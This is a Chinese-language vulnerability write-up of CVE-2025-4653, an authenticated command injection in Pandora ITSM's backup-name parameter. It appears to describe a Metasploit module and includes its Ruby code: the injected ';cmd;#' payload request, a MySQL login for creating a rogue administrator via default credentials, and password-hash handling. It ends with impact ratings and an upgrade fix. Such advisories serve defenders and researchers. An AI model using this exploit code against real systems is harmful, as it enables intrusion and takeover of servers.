Pandora ITSM认证命令注入漏洞
漏洞概述
Pandora ITSM是一款包含服务台功能的IT服务管理平台,与ITIL流程对齐。该模块利用了Pandora ITSM应用设置页面中备份设置的name参数存在的命令注入漏洞。通过在name参数中注入恶意负载生成备份,可以触发此漏洞。
技术细节
漏洞要求
- 需要拥有Pandora ITSM Web应用的管理员访问权限
- 影响所有ITSM企业版至
5.0.105版本
5.0.106版本已修复此漏洞
攻击向量
攻击者可以通过以下方式获得管理员访问权限:
- 已知管理员凭证访问Web应用
- 利用Pandora ITSM中的默认密码漏洞访问Pandora FMS ITSM数据库,创建新的管理员用户
技术实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
def execute_payload(cmd)
@rce_payload = ";#{cmd};#"
vprint_status("RCE payload: #{@rce_payload}")
@clean_payload = true
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'sec' => 'godmode',
'sec2' => 'enterprise/godmode/setup/backup_manager'
},
'vars_post' => {
'name' => @rce_payload.to_s,
'mode' => 1,
'mail' => nil,
'create_backup' => 1,
'create' => 'Do a backup now'
}
})
end
|
数据库连接
模块支持通过MySQL数据库连接创建新的管理员用户:
1
2
3
4
5
6
7
8
9
10
|
def mysql_login(host, user, password, db, port)
begin
self.mysql_client = ::Rex::Proto::MySQL::Client.connect(host, user, password, db, port)
rescue Errno::ECONNREFUSED
print_error('MySQL connection refused')
return false
end
# ... 其他异常处理
true
end
|
凭证处理
模块检查密码哈希算法,支持bcrypt和MD5两种格式:
1
2
3
4
5
|
if hash['password'].match(/^\$2.\$/)
password_hash = Password.create(password)
else
password_hash = Digest::MD5.hexdigest(password)
end
|
影响评估
- 风险等级:高
- 本地利用:否
- 远程利用:是
- CVE:2025-4653
缓解措施
升级到Pandora ITSM版本5.0.106或更高版本,该版本包含了对此漏洞的修复。